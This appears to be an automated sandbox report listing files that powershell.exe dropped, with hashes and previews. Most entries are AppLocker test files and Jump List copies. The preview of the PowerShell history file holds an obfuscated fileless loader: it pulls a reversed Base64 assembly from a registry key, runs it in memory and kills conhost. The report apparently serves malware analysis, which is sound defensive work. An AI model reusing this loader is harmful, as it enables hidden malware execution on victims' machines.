SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w3cytwwg.es3.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wrcrcuoy.0ru.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zss2thmk.bd2.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2520
Entropy (8bit):	5.412101461639653
Encrypted:	false
SSDEEP:	48:XiWt/OiWt/OiWt/OiWt/OiWt/OiWt/OiWt/OiWt/OiWt/OiWt/o:yWFWFWFWFWFWFWFWFWFWO
MD5:	CDCB6748F0B73B3A613AD3417A9DA34C
SHA1:	FED9CAE87A855DD85C5257191481E0CF92B02D2D
SHA-256:	D157080E96D8B8B8B940AFBE7A0092D5D4DD6C3671B2F93DB5EB9F43E6E3CA74
SHA-512:	7FC0AD05312F4B14D85FF9E7179EC07B4BF40036344A989AE08544DDA5B5BD05592E8789C2C0984B244CC7FA4D4C42A8B5F9BA71CF07586969D9124B04DDA209
Malicious:	false
Preview:	[AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\mBUojysElnsNYdM' -Name 's').s \| ForEach-Object {$_[-1..-($_.Length)]}))); [a.a]::a('mBUojysElnsNYdM')..Stop-Process -Name conhost -Force..[AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\mBUojysElnsNYdM' -Name 's').s \| ForEach-Object {$_[-1..-($_.Length)]}))); [a.a]::a('mBUojysElnsNYdM')..Stop-Process -Name conhost -Force..[AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\mBUojysElnsNYdM' -Name 's').s \| ForEach-Object {$_[-1..-($_.Length)]}))); [a.a]::a('mBUojysElnsNYdM')..Stop-Process -Name conhost -Force..[AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\mBUojysElnsNYdM' -Name 's').s \| ForEach-Object {$_[-1..-($_.Length)]}))); [a.a]::a('mBUojysElnsNYdM')..Stop-Process -Name conhost

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.733029659386897
Encrypted:	false
SSDEEP:	48:/NLGDPlEtEHAE+3Cy2pU2UHjukvhkvklCywQZkq8IlHJnSogZoI5kq8IlLnSogZf:VCba3CATikvhkvCCtAR8I+HLR8IsHf
MD5:	21F351F0A2675229A4B0738194F83411
SHA1:	7D46E16562F7F3EA296CD0EF25A9BAB79FB6D246
SHA-256:	402FA5DD9801C6FD0E7668F6F029223C1F82A0B28E34DDD0DA7F054B95E1CDAB
SHA-512:	5CE735FF1B2E1F74A7BEA179861B39BFC36F3313E158C2E56A22F9DB8F196BBB61C704A27F74F99BC30B1F4B8788B63C335B42A9A4ABE57ECC1406858408F822
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...C...1...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....jQ.1...q.(.1.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Y.............................^.A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......EW<2.Y....../.....................b$..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Y......0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2.Y......2......................x..W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Y......5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Y......6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2.Y......u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF5109c9.TMP (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.733029659386897
Encrypted:	false
SSDEEP:	48:/NLGDPlEtEHAE+3Cy2pU2UHjukvhkvklCywQZkq8IlHJnSogZoI5kq8IlLnSogZf:VCba3CATikvhkvCCtAR8I+HLR8IsHf
MD5:	21F351F0A2675229A4B0738194F83411
SHA1:	7D46E16562F7F3EA296CD0EF25A9BAB79FB6D246
SHA-256:	402FA5DD9801C6FD0E7668F6F029223C1F82A0B28E34DDD0DA7F054B95E1CDAB
SHA-512:	5CE735FF1B2E1F74A7BEA179861B39BFC36F3313E158C2E56A22F9DB8F196BBB61C704A27F74F99BC30B1F4B8788B63C335B42A9A4ABE57ECC1406858408F822
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...C...1...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....jQ.1...q.(.1.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Y.............................^.A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......EW<2.Y....../.....................b$..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Y......0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2.Y......2......................x..W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Y......5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Y......6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2.Y......u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF516e31.TMP (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.733029659386897
Encrypted:	false
SSDEEP:	48:/NLGDPlEtEHAE+3Cy2pU2UHjukvhkvklCywQZkq8IlHJnSogZoI5kq8IlLnSogZf:VCba3CATikvhkvCCtAR8I+HLR8IsHf
MD5:	21F351F0A2675229A4B0738194F83411
SHA1:	7D46E16562F7F3EA296CD0EF25A9BAB79FB6D246
SHA-256:	402FA5DD9801C6FD0E7668F6F029223C1F82A0B28E34DDD0DA7F054B95E1CDAB
SHA-512:	5CE735FF1B2E1F74A7BEA179861B39BFC36F3313E158C2E56A22F9DB8F196BBB61C704A27F74F99BC30B1F4B8788B63C335B42A9A4ABE57ECC1406858408F822
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...C...1...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....jQ.1...q.(.1.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Y.............................^.A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......EW<2.Y....../.....................b$..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Y......0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2.Y......2......................x..W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Y......5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Y......6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2.Y......u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF51d603.TMP (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.733029659386897
Encrypted:	false
SSDEEP:	48:/NLGDPlEtEHAE+3Cy2pU2UHjukvhkvklCywQZkq8IlHJnSogZoI5kq8IlLnSogZf:VCba3CATikvhkvCCtAR8I+HLR8IsHf
MD5:	21F351F0A2675229A4B0738194F83411
SHA1:	7D46E16562F7F3EA296CD0EF25A9BAB79FB6D246
SHA-256:	402FA5DD9801C6FD0E7668F6F029223C1F82A0B28E34DDD0DA7F054B95E1CDAB
SHA-512:	5CE735FF1B2E1F74A7BEA179861B39BFC36F3313E158C2E56A22F9DB8F196BBB61C704A27F74F99BC30B1F4B8788B63C335B42A9A4ABE57ECC1406858408F822
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...C...1...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....jQ.1...q.(.1.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Y.............................^.A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......EW<2.Y....../.....................b$..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Y......0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2.Y......2......................x..W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Y......5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Y......6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2.Y......u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF523ba2.TMP (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.733029659386897
Encrypted:	false
SSDEEP:	48:/NLGDPlEtEHAE+3Cy2pU2UHjukvhkvklCywQZkq8IlHJnSogZoI5kq8IlLnSogZf:VCba3CATikvhkvCCtAR8I+HLR8IsHf
MD5:	21F351F0A2675229A4B0738194F83411
SHA1:	7D46E16562F7F3EA296CD0EF25A9BAB79FB6D246
SHA-256:	402FA5DD9801C6FD0E7668F6F029223C1F82A0B28E34DDD0DA7F054B95E1CDAB
SHA-512:	5CE735FF1B2E1F74A7BEA179861B39BFC36F3313E158C2E56A22F9DB8F196BBB61C704A27F74F99BC30B1F4B8788B63C335B42A9A4ABE57ECC1406858408F822
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...C...1...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....jQ.1...q.(.1.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Y.............................^.A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......EW<2.Y....../.....................b$..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Y......0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2.Y......2......................x..W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Y......5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Y......6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2.Y......u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF52a2d8.TMP (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.733029659386897
Encrypted:	false
SSDEEP:	48:/NLGDPlEtEHAE+3Cy2pU2UHjukvhkvklCywQZkq8IlHJnSogZoI5kq8IlLnSogZf:VCba3CATikvhkvCCtAR8I+HLR8IsHf
MD5:	21F351F0A2675229A4B0738194F83411
SHA1:	7D46E16562F7F3EA296CD0EF25A9BAB79FB6D246
SHA-256:	402FA5DD9801C6FD0E7668F6F029223C1F82A0B28E34DDD0DA7F054B95E1CDAB
SHA-512:	5CE735FF1B2E1F74A7BEA179861B39BFC36F3313E158C2E56A22F9DB8F196BBB61C704A27F74F99BC30B1F4B8788B63C335B42A9A4ABE57ECC1406858408F822
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...C...1...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....jQ.1...q.(.1.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Y.............................^.A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......EW<2.Y....../.....................b$..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Y......0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2.Y......2......................x..W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Y......5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Y......6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2.Y......u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF5309fe.TMP (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.733029659386897
Encrypted:	false
SSDEEP:	48:/NLGDPlEtEHAE+3Cy2pU2UHjukvhkvklCywQZkq8IlHJnSogZoI5kq8IlLnSogZf:VCba3CATikvhkvCCtAR8I+HLR8IsHf
MD5:	21F351F0A2675229A4B0738194F83411
SHA1:	7D46E16562F7F3EA296CD0EF25A9BAB79FB6D246
SHA-256:	402FA5DD9801C6FD0E7668F6F029223C1F82A0B28E34DDD0DA7F054B95E1CDAB
SHA-512:	5CE735FF1B2E1F74A7BEA179861B39BFC36F3313E158C2E56A22F9DB8F196BBB61C704A27F74F99BC30B1F4B8788B63C335B42A9A4ABE57ECC1406858408F822
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...C...1...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....jQ.1...q.(.1.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Y.............................^.A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......EW<2.Y....../.....................b$..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Y......0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2.Y......2......................x..W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Y......5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Y......6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2.Y......u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF536e27.TMP (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.733029659386897
Encrypted:	false
SSDEEP:	48:/NLGDPlEtEHAE+3Cy2pU2UHjukvhkvklCywQZkq8IlHJnSogZoI5kq8IlLnSogZf:VCba3CATikvhkvCCtAR8I+HLR8IsHf
MD5:	21F351F0A2675229A4B0738194F83411
SHA1:	7D46E16562F7F3EA296CD0EF25A9BAB79FB6D246
SHA-256:	402FA5DD9801C6FD0E7668F6F029223C1F82A0B28E34DDD0DA7F054B95E1CDAB
SHA-512:	5CE735FF1B2E1F74A7BEA179861B39BFC36F3313E158C2E56A22F9DB8F196BBB61C704A27F74F99BC30B1F4B8788B63C335B42A9A4ABE57ECC1406858408F822
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...C...1...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....jQ.1...q.(.1.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Y.............................^.A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......EW<2.Y....../.....................b$..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Y......0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2.Y......2......................x..W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Y......5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Y......6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2.Y......u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF53d2bd.TMP (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.733029659386897
Encrypted:	false
SSDEEP:	48:/NLGDPlEtEHAE+3Cy2pU2UHjukvhkvklCywQZkq8IlHJnSogZoI5kq8IlLnSogZf:VCba3CATikvhkvCCtAR8I+HLR8IsHf
MD5:	21F351F0A2675229A4B0738194F83411
SHA1:	7D46E16562F7F3EA296CD0EF25A9BAB79FB6D246
SHA-256:	402FA5DD9801C6FD0E7668F6F029223C1F82A0B28E34DDD0DA7F054B95E1CDAB
SHA-512:	5CE735FF1B2E1F74A7BEA179861B39BFC36F3313E158C2E56A22F9DB8F196BBB61C704A27F74F99BC30B1F4B8788B63C335B42A9A4ABE57ECC1406858408F822
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...C...1...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....jQ.1...q.(.1.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Y.............................^.A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......EW<2.Y....../.....................b$..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Y......0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2.Y......2......................x..W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Y......5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Y......6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2.Y......u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF54382e.TMP (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.733029659386897
Encrypted:	false
SSDEEP:	48:/NLGDPlEtEHAE+3Cy2pU2UHjukvhkvklCywQZkq8IlHJnSogZoI5kq8IlLnSogZf:VCba3CATikvhkvCCtAR8I+HLR8IsHf
MD5:	21F351F0A2675229A4B0738194F83411
SHA1:	7D46E16562F7F3EA296CD0EF25A9BAB79FB6D246
SHA-256:	402FA5DD9801C6FD0E7668F6F029223C1F82A0B28E34DDD0DA7F054B95E1CDAB
SHA-512:	5CE735FF1B2E1F74A7BEA179861B39BFC36F3313E158C2E56A22F9DB8F196BBB61C704A27F74F99BC30B1F4B8788B63C335B42A9A4ABE57ECC1406858408F822
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...C...1...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....jQ.1...q.(.1.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Y.............................^.A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......EW<2.Y....../.....................b$..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Y......0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2.Y......2......................x..W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Y......5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Y......6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2.Y......u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CXDDYDFRMABXQC2YVI04.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.7306289876506415
Encrypted:	false
SSDEEP:	48:oLHDPlEtEe6+3Cy2pU2OHjukvhkvklCywQZkJ8IlLnSogZoI5kJ8IlLnSogZos1:oPih3CABikvhkvCCtAe8IsHLe8IsHf
MD5:	6502FCD572316BC49BB903BDE153D6D9
SHA1:	50A783AE3C41ED4524E27B75CE9C3F93D98E445C
SHA-256:	CDBACDCA2011C6E0096316545FFB265ABA9D5EABBEF1853E41AF3E54ACB0D34B
SHA-512:	455370F0A15E1502964DCA908C7CFBA7E16001247913AE6E8AF595FCD009974F167C501EFAEFB08348B908CA2D90BC1B04FD50C29D86A42C6A818BF0D19438E0
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...@.M.1...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....jQ.1...eP.82.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Y.............................^.A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......EW<2.Y....../.....................b$..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Y......0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1......Y....Windows.@......EW<2.Y......2.....................^...W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Y......5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Y......6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2.Y......7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2.Y......u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DXUCUQ8F892RWC0EPONW.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.73221504114107
Encrypted:	false
SSDEEP:	48:oLtDPlEtEe6+3Cy2pU2OHjukvhkvklCywQZkq8IlLnSogZoI5kq8IlLnSogZos1:ohih3CABikvhkvCCtAR8IsHLR8IsHf
MD5:	7AFDADCC17A22A21493AC1ECD3301C07
SHA1:	04014C4DBFD1F7053FDB5A53EA3739119B7626AF
SHA-256:	E6D6A851233DC4DECE64E48858E8874D323F6446F0E611AC07A65A1723CD5BB0
SHA-512:	E6BD3F535A0F6D836F63B296D12975BAF4218AF409A381D88C1CE5CC6FA3263F90827C539A1699A3BA6F60159E23C27D7E6F69AE66E5623D73C60CB1A0187137
Malicious:	false
